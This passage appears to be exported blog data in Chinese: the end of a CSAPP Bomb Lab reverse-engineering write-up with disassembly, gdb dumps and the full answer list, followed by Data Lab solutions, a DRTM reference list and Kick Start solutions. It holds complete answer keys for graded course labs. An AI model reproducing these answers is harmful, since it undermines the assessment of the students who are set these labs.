也就是说我们要根据input的信息和字符串“maduiersnfotvbyl”进过函数内的处理得到字符串“flyers”。 首先找到所需字母分别对应的位置。{'f': 0x9, 'l': 0xf, 'y': 0xe, 'e': 0x5, 'r': 0x6, 's': 0x7}。因此我们构造的输入需要低4位分别是上述数字的字符。 用python打印出所有小写字母对应的ascii码值,根据这个结果构造输入“ionefg”。 1234567891011121314151617181920212223242526272829In [18]: for i in range(0, 26): ...: print(f"{chr(i + ord('a'))} -> hex {hex(i + ord('a'))}") ...:a -> hex 0x61b -> hex 0x62c -> hex 0x63d -> hex 0x64e -> hex 0x65f -> hex 0x66g -> hex 0x67h -> hex 0x68i -> hex 0x69j -> hex 0x6ak -> hex 0x6bl -> hex 0x6cm -> hex 0x6dn -> hex 0x6eo -> hex 0x6fp -> hex 0x70q -> hex 0x71r -> hex 0x72s -> hex 0x73t -> hex 0x74u -> hex 0x75v -> hex 0x76w -> hex 0x77x -> hex 0x78y -> hex 0x79z -> hex 0x7a Phase 6这应该是最为困难的一个阶段。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868700000000004010f4 phase_6: 4010f4: 41 56 pushq %r14 4010f6: 41 55 pushq %r13 4010f8: 41 54 pushq %r12 4010fa: 55 pushq %rbp 4010fb: 53 pushq %rbx 4010fc: 48 83 ec 50 subq $80, %rsp 401100: 49 89 e5 movq %rsp, %r13 401103: 48 89 e6 movq %rsp, %rsi 401106: e8 51 03 00 00 callq 849 <read_six_numbers> 40110b: 49 89 e6 movq %rsp, %r14 40110e: 41 bc 00 00 00 00 movl $0, %r12d 401114: 4c 89 ed movq %r13, %rbp 401117: 41 8b 45 00 movl (%r13), %eax 40111b: 83 e8 01 subl $1, %eax 40111e: 83 f8 05 cmpl $5, %eax 401121: 76 05 jbe 5 <phase_6+0x34> # 0x401128 401123: e8 12 03 00 00 callq 786 <explode_bomb> 401128: 41 83 c4 01 addl $1, %r12d 40112c: 41 83 fc 06 cmpl $6, %r12d 401130: 74 21 je 33 <phase_6+0x5f> # 0x401153 401132: 44 89 e3 movl %r12d, %ebx 401135: 48 63 c3 movslq %ebx, %rax 401138: 8b 04 84 movl (%rsp,%rax,4), %eax 40113b: 39 45 00 cmpl %eax, (%rbp) 40113e: 75 05 jne 5 <phase_6+0x51> # 0x401145 401140: e8 f5 02 00 00 callq 757 <explode_bomb> 401145: 83 c3 01 addl $1, %ebx 401148: 83 fb 05 cmpl $5, %ebx 40114b: 7e e8 jle -24 <phase_6+0x41> # 0x401135 40114d: 49 83 c5 04 addq $4, %r13 401151: eb c1 jmp -63 <phase_6+0x20> # 0x401114 401153: 48 8d 74 24 18 leaq 24(%rsp), %rsi 401158: 4c 89 f0 movq %r14, %rax 40115b: b9 07 00 00 00 movl $7, %ecx 401160: 89 ca movl %ecx, %edx 401162: 2b 10 subl (%rax), %edx 401164: 89 10 movl %edx, (%rax) 401166: 48 83 c0 04 addq $4, %rax 40116a: 48 39 f0 cmpq %rsi, %rax 40116d: 75 f1 jne -15 <phase_6+0x6c> # 0x401160 40116f: be 00 00 00 00 movl $0, %esi 401174: eb 21 jmp 33 <phase_6+0xa3> # 0x401197 401176: 48 8b 52 08 movq 8(%rdx), %rdx 40117a: 83 c0 01 addl $1, %eax 40117d: 39 c8 cmpl %ecx, %eax 40117f: 75 f5 jne -11 <phase_6+0x82> # 0x401176 401181: eb 05 jmp 5 <phase_6+0x94> # 0x401188 401183: ba d0 32 60 00 movl $6304464, %edx 401188: 48 89 54 74 20 movq %rdx, 32(%rsp,%rsi,2) 40118d: 48 83 c6 04 addq $4, %rsi 401191: 48 83 fe 18 cmpq $24, %rsi 401195: 74 14 je 20 <phase_6+0xb7> # 0x4011ab 401197: 8b 0c 34 movl (%rsp,%rsi), %ecx 40119a: 83 f9 01 cmpl $1, %ecx 40119d: 7e e4 jle -28 <phase_6+0x8f> # 0x401183 40119f: b8 01 00 00 00 movl $1, %eax 4011a4: ba d0 32 60 00 movl $6304464, %edx 4011a9: eb cb jmp -53 <phase_6+0x82> # 0x401176 4011ab: 48 8b 5c 24 20 movq 32(%rsp), %rbx 4011b0: 48 8d 44 24 28 leaq 40(%rsp), %rax 4011b5: 48 8d 74 24 50 leaq 80(%rsp), %rsi 4011ba: 48 89 d9 movq %rbx, %rcx 4011bd: 48 8b 10 movq (%rax), %rdx 4011c0: 48 89 51 08 movq %rdx, 8(%rcx) 4011c4: 48 83 c0 08 addq $8, %rax 4011c8: 48 39 f0 cmpq %rsi, %rax 4011cb: 74 05 je 5 <phase_6+0xde> # 0x4011d2 4011cd: 48 89 d1 movq %rdx, %rcx 4011d0: eb eb jmp -21 <phase_6+0xc9> # 0x4011bd 4011d2: 48 c7 42 08 00 00 00 00 movq $0, 8(%rdx) 4011da: bd 05 00 00 00 movl $5, %ebp 4011df: 48 8b 43 08 movq 8(%rbx), %rax 4011e3: 8b 00 movl (%rax), %eax 4011e5: 39 03 cmpl %eax, (%rbx) 4011e7: 7d 05 jge 5 <phase_6+0xfa> # 0x4011ee 4011e9: e8 4c 02 00 00 callq 588 <explode_bomb> 4011ee: 48 8b 5b 08 movq 8(%rbx), %rbx 4011f2: 83 ed 01 subl $1, %ebp 4011f5: 75 e8 jne -24 <phase_6+0xeb> # 0x4011df 4011f7: 48 83 c4 50 addq $80, %rsp 4011fb: 5b popq %rbx 4011fc: 5d popq %rbp 4011fd: 41 5c popq %r12 4011ff: 41 5d popq %r13 401201: 41 5e popq %r14 401203: c3 retq 手工解析成C语言代码 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697phase_6(input) { %r13 = %rsp; // 0x7fffffffea60 read_six_numbers(input, %rsp); %r14 = %rsp; // 0x7fffffffea60 %r12d = 0; while (true) { %rbp = %r13; %eax = *(%r13); // 第一个数字 %eax--; if (%eax > 5) { explode_bomb(); } %r12d++; if (%r12d == 6) { break; } %ebx = %r12d; do { %rax = %ebx; %eax = *(%rsp + %rax * 4); if (*(%rbp) == %eax) { explode_bomb(); } %ebx++; } while (%ebx <= 5); %r13 += 4; } /* 直到此处,可以看出,要求这六个数都小于等于6,并且它们各不相同 */ %rsi = *(%rsp + 24); %rax = %r14; %ecx = 7; do { %edx = %ecx - *(%rax); *(%rax) = %edx; %rax += 4; } while (%rax != %rsi); /* 将六个数修改为与7的差值 */ %esi = 0; do { %ecx = *(%rsp + %rsi); if (%ecx <= 1) { %edx = 6304464; // 这一块的解析在下面 } else { %eax = 1; %edx = 6304464; do { %rdx = *(%rdx + 8); %eax++; } while (%eax != %ecx); /* 从6304464逐渐往后遍历,p = p->next */ } *(%rsp + %rsi * 2 + 32) = %rdx; /* 将链表的value存放在 %rsp + 32的位置,每个数占8字节 */ %rsi += 4; } while (%rsi != 24); /* 这里就是根据那六个数字来遍历链表,并将链表节点的地址存储在栈中 */ %rbx = *(%rsp + 32); /* 从链表节点数组中取出的六个值的起点值 */ %rax = %rsp + 40; /* %rsp + 4 * 2 + 32 */ %rsi = %rsp + 80; %rcx = %rbx; while (true) { %rdx = *(%rax); *(%rcx + 8) = %rdx; %rax += 8; if (%rax == %rsi) { break; } %rcx = %rdx; } /* 此处在把这6个链表节点连接起来 */ *(%rdx + 8) = 0; /* 设置最后一个节点的next为p->next = NULL */ %ebp = 5; do { %rax = *(%rbx + 8); /* rbx的初值还是节点数组的第一个值 */ %eax = *(%rax); if (*(%rbx) < %eax) { /* 如果这个新链表的下一个节点的值比当前大则爆炸 */ explode_bomb(); /* 因为使用指令都是l结尾的,因此把它当作一个双字整数,即long */ } %rbx = *(%rbx + 8); %ebp--; } while (*(%rbx) != %eax); return; } 之前的常量都在rodata区,但是6304464这个地址却是data区的,通过gdb将其打印出来。结合%rdx = *(%rdx + 8);可以看出每一个该位置的值,都是下一个位置的地址。大概可以猜测此处是一个类似链表的结构。 1234567(gdb) x/24xw 63044640x6032d0 <node1>: 0x0000014c 0x00000001 0x006032e0 0x000000000x6032e0 <node2>: 0x000000a8 0x00000002 0x006032f0 0x000000000x6032f0 <node3>: 0x0000039c 0x00000003 0x00603300 0x000000000x603300 <node4>: 0x000002b3 0x00000004 0x00603310 0x000000000x603310 <node5>: 0x000001dd 0x00000005 0x00603320 0x000000000x603320 <node6>: 0x000001bb 0x00000006 0x00000000 0x00000000 经过分析,其实代码流程已经很清楚了。从input读取六个数,保证它们均小于等于6,并且各不相同;然后将他们的值设为与7的差值;接着根据处理后的这六个数,对链表节点进行重排序,保证新的链表是一个非严格的递减序列。 从上述链表节点的值可以看出,构造的新链表的顺序为3,4,5,6,1,2。因此对应的原六个数分别是4,3,2,1,6,5。 至此拆弹完成,但是真的吗?根据bomb.c最后部分的内容以及汇编代码中看到fun7和secret_phase可以猜测,还有一个隐藏关。 Secret Phase12345678910111213141516171819202122230000000000401242 secret_phase: 401242: 53 pushq %rbx 401243: e8 56 02 00 00 callq 598 <read_line> 401248: ba 0a 00 00 00 movl $10, %edx 40124d: be 00 00 00 00 movl $0, %esi 401252: 48 89 c7 movq %rax, %rdi 401255: e8 76 f9 ff ff callq -1674 <strtol@plt> 40125a: 48 89 c3 movq %rax, %rbx 40125d: 8d 40 ff leal -1(%rax), %eax 401260: 3d e8 03 00 00 cmpl $1000, %eax 401265: 76 05 jbe 5 <secret_phase+0x2a> # 0x40126c 401267: e8 ce 01 00 00 callq 462 <explode_bomb> 40126c: 89 de movl %ebx, %esi 40126e: bf f0 30 60 00 movl $6303984, %edi 401273: e8 8c ff ff ff callq -116 <fun7> 401278: 83 f8 02 cmpl $2, %eax 40127b: 74 05 je 5 <secret_phase+0x40> # 0x401282 40127d: e8 b8 01 00 00 callq 440 <explode_bomb> 401282: bf 38 24 40 00 movl $4203576, %edi 401287: e8 84 f8 ff ff callq -1916 <puts@plt> 40128c: e8 33 03 00 00 callq 819 <phase_defused> 401291: 5b popq %rbx 401292: c3 retq 对其进行分析: 1234567891011121314151617secret_phase(input) { %rax = strtol(input, 0, 10); // long int strtol(const char *str, char **endptr, int base) %rbx = %rax; %eax = %rax - 1; if (%rax > 1000) { explode_bomb(); } %eax = fun7(6303984, %ebx); if (%eax != 2) { explode_bomb(); } puts(4203576); phase_defused();} 可以看得出,从字符串中读取一个数,保证其小于等于1001。然后放入fun7函数处理,要使得fun7的返回值为2。 进一步关注fun7的内容。 1234567891011121314151617181920210000000000401204 fun7: 401204: 48 83 ec 08 subq $8, %rsp 401208: 48 85 ff testq %rdi, %rdi 40120b: 74 2b je 43 <fun7+0x34> # 0x401238 40120d: 8b 17 movl (%rdi), %edx 40120f: 39 f2 cmpl %esi, %edx 401211: 7e 0d jle 13 <fun7+0x1c> # 0x401220 401213: 48 8b 7f 08 movq 8(%rdi), %rdi 401217: e8 e8 ff ff ff callq -24 <fun7> 40121c: 01 c0 addl %eax, %eax 40121e: eb 1d jmp 29 <fun7+0x39> # 0x40123d 401220: b8 00 00 00 00 movl $0, %eax 401225: 39 f2 cmpl %esi, %edx 401227: 74 14 je 20 <fun7+0x39> # 0x40123d 401229: 48 8b 7f 10 movq 16(%rdi), %rdi 40122d: e8 d2 ff ff ff callq -46 <fun7> 401232: 8d 44 00 01 leal 1(%rax,%rax), %eax 401236: eb 05 jmp 5 <fun7+0x39> # 0x40123d 401238: b8 ff ff ff ff movl $4294967295, %eax 40123d: 48 83 c4 08 addq $8, %rsp 401241: c3 retq 对其进行解析: 12345678910111213141516171819202122fun7(void *p, int x) { int r; if (p == NULL) { return 0xffffffff; } if (p->value <= x) { r = 0; if (p->value == x) { return r; } p = p->right; r = fun7(p, x); r = 2 * r + 1; } else { p = p->left; r = fun7(p, x); r *= 2; } return r;} 可以看得出fun7的主要功能是在链表中搜索x,并返回搜索的次数。 地址6303984处的部分值如下。从这个值分布可以看出,这应该是一个二叉树的节点,一个节点里面包含一个value,以及两个地址。 1234567891011(gdb) x/40xw 0x6030f00x6030f0 <n1>: 0x00000024 0x00000000 0x00603110 0x000000000x603100 <n1+16>: 0x00603130 0x00000000 0x00000000 0x000000000x603110 <n21>: 0x00000008 0x00000000 0x00603190 0x000000000x603120 <n21+16>: 0x00603150 0x00000000 0x00000000 0x000000000x603130 <n22>: 0x00000032 0x00000000 0x00603170 0x000000000x603140 <n22+16>: 0x006031b0 0x00000000 0x00000000 0x000000000x603150 <n32>: 0x00000016 0x00000000 0x00603270 0x000000000x603160 <n32+16>: 0x00603230 0x00000000 0x00000000 0x000000000x603170 <n33>: 0x0000002d 0x00000000 0x006031d0 0x000000000x603180 <n33+16>: 0x00603290 0x00000000 0x00000000 0x00000000 需求都已经很明晰了,构造这么一个特殊的输入即可。 我们已经知道了隐藏关的通过值,但是进入隐藏关的方法还需要进一步分析。通过搜索,可以得知,在phase_defused中会调用隐藏关。 1234567891011121314151617181920212223242526272829303132333400000000004015c4 phase_defused: 4015c4: 48 83 ec 78 subq $120, %rsp 4015c8: 64 48 8b 04 25 28 00 00 00 movq %fs:40, %rax 4015d1: 48 89 44 24 68 movq %rax, 104(%rsp) 4015d6: 31 c0 xorl %eax, %eax 4015d8: 83 3d 81 21 20 00 06 cmpl $6, 2105729(%rip) 4015df: 75 5e jne 94 <phase_defused+0x7b> # 0x40163f 4015e1: 4c 8d 44 24 10 leaq 16(%rsp), %r8 4015e6: 48 8d 4c 24 0c leaq 12(%rsp), %rcx 4015eb: 48 8d 54 24 08 leaq 8(%rsp), %rdx 4015f0: be 19 26 40 00 movl $4204057, %esi # "%d %d %s" 4015f5: bf 70 38 60 00 movl $6305904, %edi 4015fa: e8 f1 f5 ff ff callq -2575 <__isoc99_sscanf@plt> 4015ff: 83 f8 03 cmpl $3, %eax 401602: 75 31 jne 49 <phase_defused+0x71> # 0x401635 401604: be 22 26 40 00 movl $4204066, %esi # "DrEvil" 401609: 48 8d 7c 24 10 leaq 16(%rsp), %rdi 40160e: e8 25 fd ff ff callq -731 <strings_not_equal> 401613: 85 c0 testl %eax, %eax 401615: 75 1e jne 30 <phase_defused+0x71> # 0x401635 401617: bf f8 24 40 00 movl $4203768, %edi 40161c: e8 ef f4 ff ff callq -2833 <puts@plt> 401621: bf 20 25 40 00 movl $4203808, %edi 401626: e8 e5 f4 ff ff callq -2843 <puts@plt> 40162b: b8 00 00 00 00 movl $0, %eax 401630: e8 0d fc ff ff callq -1011 <secret_phase> 401635: bf 58 25 40 00 movl $4203864, %edi 40163a: e8 d1 f4 ff ff callq -2863 <puts@plt> 40163f: 48 8b 44 24 68 movq 104(%rsp), %rax 401644: 64 48 33 04 25 28 00 00 00 xorq %fs:40, %rax 40164d: 74 05 je 5 <phase_defused+0x90> # 0x401654 40164f: e8 dc f4 ff ff callq -2852 <__stack_chk_fail@plt> 401654: 48 83 c4 78 addq $120, %rsp 401658: c3 retq 这个就不翻了,逻辑挺简单的,从6305904的位置中读取两个数和一个字符串,然后将字符串与4204066地址的串进行比较,如果通过了就进入secret_phase。 因此关键的是6305904的位置是哪里。通过gdb查看该部分的内存,可以猜测,这可能是input的某个部分。 123(gdb) x/16xb 63059040x603870 <input_strings+240>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x000x603878 <input_strings+248>: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 通过gdb的watch功能,来设置一个内存地址的监测点。通过gdb的输出,可以猜测是phase 4的地方操作了这个地址。 123456789101112131415161718(gdb) watch *6305904Hardware watchpoint 2: *6305904(gdb) rThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/bingo/Workdir/bomb/bomb input.fileWelcome to my fiendish little bomb. You have 6 phases withwhich to blow yourself up. Have a nice day!Phase 1 defused. How about the next one?That's number 2. Keep going!Halfway there!Hardware watchpoint 2: *6305904Old value = 0New value = 170926135__memcpy_sse2 () at ../sysdeps/x86_64/multiarch/../memcpy.S:9898 ../sysdeps/x86_64/multiarch/../memcpy.S: No such file or directory. 进一步进行单步调试,在phase 4的阶段调用read_line函数,操作了地址6305904。 至此,已经可以知道进入隐藏关的方法,以及隐藏关的通关指令。 TipsGDB工具如果自己的输入有问题,或者说查看各个函数输入的值,可以试试gdb工具进行反汇编调试。 相关命令参考文档GDB调试命令(二)—反汇编相关。 ps:上面的题其实都可以用gdb来“作弊”,因为大多都涉及比较,可以直接通过设置断点来查看寄存器的值。 答案 Border relations with Canada have never been better. 1 2 4 8 16 32 0 207 7 0 DrEvil ionefg 4 3 2 1 6 5 22","link":"/2021/04/12/CSAPP-Lab-Bomb-Lab/"},{"title":"CSAPP Lab -- Data Lab","text":"IntegerbitXor1234567891011//1/* * bitXor - x^y using only ~ and & * Example: bitXor(4, 5) = 1 * Legal ops: ~ & * Max ops: 14 * Rating: 1 */int bitXor(int x, int y) { return ~(~(x & ~y) & ~(~x & y));} 抛开现有的公式,直接分析异或操作的特性。仅有1和0的组合会得到1,其余都是0。 如果我数字$x$取反,那么会将原本为0的位置1,而原本为1的位置0。那么此时与$y$进行与操作,得到的结果中的所有的1都是满足“$y$中为1的位,以及$x$中原本为0的位”。 同理,再对$y$取反和$x$进行与操作。将两部分的结果相组合(或操作)即为异或的结果。 由于仅能用与非操作,因此对或进行转换即可。(暂不考虑化简) tmin123456789/* * tmin - return minimum two's complement integer * Legal ops: ! ~ & ^ | + << >> * Max ops: 4 * Rating: 1 */int tmin(void) { return 1 << 31;} 二进制补码的最小值。参照CSAPP书上的理解是最合适的,符号位表示一个负权,其余的位均为正权。所以最小值必然为符号位为1,其余位为0的值。 isTmax123456789101112/* * isTmax - returns 1 if x is the maximum, two's complement number, * and 0 otherwise * Legal ops: ! ~ & ^ | + * Max ops: 10 * Rating: 1 */int isTmax(int x) { int a = x ^ ~(x + 1); int b = !!(x + 1); return !a & b;} 判断最大值,容易联想到对Tmax + 1得到Tmin。而Tmin取反即为Tmax。简单分析便可知,仅有+1后正数溢出到负数,或者负数转化为正数时,才能满足~(x + 1) == x。也就是说出了Tmax,还有-1也满足上述条件(-1 + 1 = 0; ~0 = -1)。为了排除这种情况,可以使用!运算,保证非零值均为1,零值为零。 allOddBits123456789101112131415/* * allOddBits - return 1 if all odd-numbered bits in word set to 1 * where bits are numbered from 0 (least significant) to 31 (most significant) * Examples allOddBits(0xFFFFFFFD) = 0, allOddBits(0xAAAAAAAA) = 1 * Legal ops: ! ~ & ^ | + << >> * Max ops: 12 * Rating: 2 */int allOddBits(int x) { int a = 0xAA; a = (a << 8) | a; a = (a << 16) | a; return !((x & a) ^ a);} 其实,这题很容易联想到的方法,就是利用右移,判断x的每8位是否满足0xAA。但是很不幸,该方法的操作数较多,难以通过测试。 因此我们可以反过来考虑,利用左移主动构造一个0xAAAAAAAA,再去与x判断是否满足。 negate12345678910/* * negate - return -x * Example: negate(1) = -1. * Legal ops: ! ~ & ^ | + << >> * Max ops: 5 * Rating: 2 */int negate(int x) { return ~x + 1;} 补码的特性 isAsciiDigit123456789101112131415/* * isAsciiDigit - return 1 if 0x30 <= x <= 0x39 (ASCII codes for characters '0' to '9') * Example: isAsciiDigit(0x35) = 1. * isAsciiDigit(0x3a) = 0. * isAsciiDigit(0x05) = 0. * Legal ops: ! ~ & ^ | + << >> * Max ops: 15 * Rating: 3 */int isAsciiDigit(int x) { int top = ~(1 << 31) + ~0x39 + 1; int bottom = ~0x30 + 1; return !(((x + bottom) >> 31) + ((x + top) >> 31));} 可以考虑利用溢出来判断数值的大小。 分别判断大于0x39的数会发生上溢,小于0x30的数会得到负数。也即满足区间的数,前者判断会得到一个正数(不会发生上溢),后者判断会得到一个正数(负 + 正 = 正)。 也就是说只要最后的两个判断结果均为正数,那么x必然属于这个区间。 conditional1234567891011/* * conditional - same as x ? y : z * Example: conditional(2,4,5) = 4 * Legal ops: ! ~ & ^ | + << >> * Max ops: 16 * Rating: 3 */int conditional(int x, int y, int z) { int t = !x + ~1 + 1; // x != 0 -> t = 0xffffffff; x == 0 -> t = 0 return (t & y) ^ (~t & z);} x分为0和非零两种情况,通过!运算符,可以使得x仅有0,1两种值。但是1这个数在仅有位运算的前提下,是很难不改变y和z的值的。而全0和全1两个值则会很好处理位运算,同时联想到全1的值即为-1。因此考虑将其减一(也即变量t)。 isLessOrEqual1234567891011/* * isLessOrEqual - if x <= y then return 1, else return 0 * Example: isLessOrEqual(4,5) = 1. * Legal ops: ! ~ & ^ | + << >> * Max ops: 24 * Rating: 3 */int isLessOrEqual(int x, int y) { int cs = (x ^ y) >> 31; return !!((cs & (x >> 31)) | (!cs & !((~x + 1 + y) >> 31)));} 比较大小,最容易想到的方式就是将二者相减然后判断是否大于0。但是如果x与y异号,则可能出现负数减去正数溢出到正数的情况。因此需要分开考虑同号和异号两种情况。 对x和y进行异或: cs为0,则代表x与y同号。所以可以采取二者相减的方式判断大小。 y - x的符号位为0,则y >= x,因此$cs = 0, sign(y - x) = 0 \\rightarrow x \\leqslant y$ y - x的符号位为1,则y < x,因此$cs = 0, sign(y - x) = 1 \\rightarrow x > y$ cs为1,则代表x与y异号。此时仅判断x或y的符号即可 x的符号位为0,则x >= 0 > y,因此$cs = 1, sign(x) = 0 \\rightarrow x > y$ x的符号位为1,则x < 0 <= y,因此$cs = 1, sign(x) = 1 \\rightarrow x \\leqslant y$ logicalNeg1234567891011/* * logicalNeg - implement the ! operator, using all of * the legal operators except ! * Examples: logicalNeg(3) = 0, logicalNeg(0) = 1 * Legal ops: ~ & ^ | + << >> * Max ops: 12 * Rating: 4 */int logicalNeg(int x) { return ((x | (~x + 1)) >> 31) + 1;} 根据补码的性质,可以发现0的补码还是0,也即补码是不存在负0和正0的概念的。然后可以确定的是x与(~x + 1)必定异号,因为二者相加为0。 因此可以利用这个性质,仅x为0时,x | (~x + 1)的符号位为0;其余情况均为1。 howManyBits123456789101112131415161718192021222324252627282930/* howManyBits - return the minimum number of bits required to represent x in * two's complement * Examples: howManyBits(12) = 5 * howManyBits(298) = 10 * howManyBits(-5) = 4 * howManyBits(0) = 1 * howManyBits(-1) = 1 * howManyBits(0x80000000) = 32 * Legal ops: ! ~ & ^ | + << >> * Max ops: 90 * Rating: 4 */int howManyBits(int x) { int sign = x >> 31; // x为正则sign == 0x00000000;x为负则sign = 0xffffffff // 如果x为正则不变 // 如果x为负,则取反,消除符号位 x = (sign&~x)|(~sign&x); int b16 = !!(x >> 16) << 4; //高16位如果有1,则说明需要16位以上 x = x >> b16; // 高16位有1,则位移16位;没有1则移0位;操作完成之后关注低16位 int b8 = !!(x >> 8) << 3; x = x >> b8; int b4 = !!(x >> 4) << 2; x = x >> b4; int b2 = !!(x >> 2) << 1; x = x >> b2; int b1 = !!(x >> 1); x = x >> b1; return b16 + b8 + b4 + b2 + b1 + x + 1; // + 1表示加上符号位,以及处理0的时候需要1位表示} 采用二分法统计,因为对于正数,仅需考虑除符号位最高位1所处的位置,然后补上一个符号位即可。对于负数则是考虑除符号位最高位的1后的0,如1101和101表示同一个数,因此该情况仅需3位。所以在计算时,考虑均去除符号位后,最后再补上符号位 FloatfloatScale212345678910111213141516171819202122/* * floatScale2 - Return bit-level equivalent of expression 2*f for * floating point argument f. * Both the argument and result are passed as unsigned int's, but * they are to be interpreted as the bit-level representation of * single-precision floating point values. * When argument is NaN, return argument * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while * Max ops: 30 * Rating: 4 */unsigned floatScale2(unsigned uf) { int exp = (uf & 0x7f800000) >> 23; // 截取出阶码 int sign = uf & (1 << 31); //截取出符号位 if (exp == 255) return uf; if (exp == 0) return (uf << 1) | sign; // 阶码是0,则小数部分乘2 exp++; // 阶码 + 1表示乘2 if (exp == 255) return 0x7f800000 | sign; // 返回无穷大,表示溢出 return (exp << 23) | (uf & 0x807fffff);} 浮点数乘2,取出阶码,将阶码+1即可,如果上溢出则返回无穷大,下溢出则返回0,NaN则返回原数。 此外,还有一个需要注意的就是,从浮点数开始放开了常数范围、运算符以及条件语句if的限制。 floatFloat2Int123456789101112131415161718192021222324252627/* * floatFloat2Int - Return bit-level equivalent of expression (int) f * for floating point argument f. * Argument is passed as unsigned int, but * it is to be interpreted as the bit-level representation of a * single-precision floating point value. * Anything out of range (including NaN and infinity) should return * 0x80000000u. * Legal ops: Any integer/unsigned operations incl. ||, &&. also if, while * Max ops: 30 * Rating: 4 */int floatFloat2Int(unsigned uf) { int exp = ((uf & 0x7f800000) >> 23) - 127; // 减去bias int sign = uf >> 31; int frac = (uf & 0x007fffff) | 0x00800000; // 补上丢去的高位1 // 当exp == 31的时候,意味着移位改变了符号位,那么必然是存在溢出 if (exp >= 31) return 0x80000000u; if (exp < 0) return 0; if (exp > 23) frac = frac << (exp - 23); // 画图可以看出来 else frac = frac >> (23 - exp); if (sign == 0) return frac; // frac符号位必然是0,原本符号也是0,那可以直接返回 else return ~frac + 1; // 如果该数原本为负,取反加一即可} 将浮点数转为整数。考虑到阶码的偏置值,将其减去127。因为整数最多32位,因此阶码大于31,则为超出了表示范围,用0x80000000替代。同样如果阶码小于0,则说明数的取值在-1 < x < 1之间,整数也无法表示,用0替代。其余的情况再进一步处理。 「此处的操作不考虑符号位」 对于小数.1011:左移1位,相当于1011右移3位(0001);左移2位相当于1011右移2位(0010);左移5位相当于1011左移1位(10110)。综上可以看出,对于23位表示的frac,左移大于23位时,相当于frac直接左移exp - 23;小于23位时,相当于frac直接右移23 - exp。移动后的二进制码直接当做整数。 另外这里需要额外考虑一个异常情况,即移动后产生了溢出,即移动后的frac最高位为1且frac原本为正数,表明数字由正数溢出到了负数。 而对于负数,因为小数部分用的是原码表示,可以理解成所有的操作都是假定该数是一个正数进行计算的,但是由于实际上是一个负数,已经使用~frac + 1操作将其转化为对应的负数。(本质上是由于符号位对于整数和浮点数的代表意义不同导致的。) floatPower212345678910111213141516171819/* * floatPower2 - Return bit-level equivalent of the expression 2.0^x * (2.0 raised to the power x) for any 32-bit integer x. * * The unsigned value that is returned should have the identical bit * representation as the single-precision floating-point number 2.0^x. * If the result is too small to be represented as a denorm, return * 0. If too large, return +INF. * * Legal ops: Any integer/unsigned operations incl. ||, &&. Also if, while * Max ops: 30 * Rating: 4 */unsigned floatPower2(int x) { if (x < -126) return 0; if (x > 127) return 0x7f800000; return (x + 127) << 23;} 2的x次幂,单独考虑超范围的情况。未超出表示范围时,将x置为阶码即可(记得加上偏置值)。","link":"/2021/04/06/CSAPP-Lab-Data-Lab/"},{"title":"DRTM相关资料","text":"相关概念 Dynamic vs Static root of trust DRTM Specification Overview x86 virtualization wiki 动态测量根DRTM(转) 动态信任根机制DRTM回顾 Introduction to Late Launch Intel Trusted Execution Technology wiki Intel(R) TXT Overview sourceforge TBoot Intel® Trusted Execution Technology (Intel® TXT) Enabling Guide kvm tboot和libvirt的安装 Intel Trusted Execution Technology, open-source now! Virtualizing Intel® Software Guard Extensions with KVM and QEMU qemu-sgx kvm-sgx CoreBoot Intel Trusted Execution Technology Intel TXT SINIT module Trusted Boot TBOOT supports KVM by including kvm kernel module in the trust chain ? Intel® Trusted Execution Technology: A Primer Evaluation of Intel Trusted ExecutionTechnology for Use in a PartitioningHypervisor AMD AMD Secure Encrypted Virtualization (SEV) AMD AND MICROSOFT SECURED-CORE PC AMD Secure Encrypted Virtualization (AMD-SEV) Guide Secure Encrypted Virtualization (SEV) Launch security with AMD SEV Analyzing AMD SEV’s Remote Attestation TrenchBoot Documentation XPDDS19: How TrenchBoot is Enabling Measured Launch for Open-Source Platform Security - Daniel Smith, Apertus Solutions Open DRTM implementation for AMD platforms - OSFC 20192019.osfc.io (PPT) TrenchBoot: Open DRTM implementation for AMD platforms (Video) TrenchBoot - How to Nicely Boot System with Intel TXT and AMD SVM - Daniel Kiper & Daniel Smith 其他 Windows Defender System Guard: How a hardware-based root of trust helps protect Windows 10 KVM安全 uber eXtensible Micro-Hypervisor Framework (uberXMHF) xmhf GRUB 2.06 Planning For Release This Year - Possibly With Intel TXT + AMD SKINIT Support","link":"/2021/03/15/DRTM%E7%9B%B8%E5%85%B3%E8%B5%84%E6%96%99/"},{"title":"Kick Start Round F 2020解题记录","text":"ATM Queue解题思路使用队列结构来模拟取钱队列的方式,但是Test Set 2超时了。 12345678910111213141516171819202122232425262728293031323334353637383940#include <iostream>#include <queue>using namespace std;void cal(int T) { int N, X, A; cin >> N >> X; queue<pair<int, int>> Q; for (int i = 1; i <= N; ++i) { cin >> A; Q.push({A, i}); } cout << "Case #" << T << ":"; while (!Q.empty()) { auto p = Q.front(); Q.pop(); if (p.first <= X) { cout << " " << p.second; } else { p.first -= X; Q.push(p); } } cout << endl;}int main() { int T; cin >> T; for (int i = 1; i <= T; ++i) { cal(i); } return 0;} 优化观察可以得知,取相同次数就能够完成需求的所有人,他们的相对位置与初始一致。因此可以直接计算某人需要取多少次钱,然后进行排序即可。 1234567891011121314151617181920212223242526272829303132333435363738394041424344#include <iostream>#include <vector>#include <algorithm>#define UPDIV(A, X) (((A) + (X) - 1) / (X))using namespace std;void cal(int T) { int N, X, A; cin >> N >> X; vector<pair<int, int>> Q; for (int i = 1; i <= N; ++i) { cin >> A; Q.emplace_back(UPDIV(A, X), i); } sort(Q.begin(), Q.end(), [](const pair<int, int>& A, const pair<int, int>& B) -> bool { if (A.first != B.first) { return A.first < B.first; } return A.second < B.second; }); cout << "Case #" << T << ":"; for (const auto &q : Q) { cout << " " << q.second; } cout << endl;}int main() { int T; cin >> T; for (int i = 1; i <= T; ++i) { cal(i); } return 0;} Metal Harvest解题思路因为已知所有时间间隔不会重叠,因此直接对所有输入的时间间隔的$S_i$进行排序。 然后采用贪心法,从每个间隔的起点开始,使用二分查找搜寻第一个大于机器人工作结束时间点的时间间隔(即,$E_j > S_i + K\\text{, 且}j > i$);找到之后再次比较$S_j$和$S_i + K$的大小。如果$S_j > S_i + K$,那么说明该机器人最多可以工作到第$j - 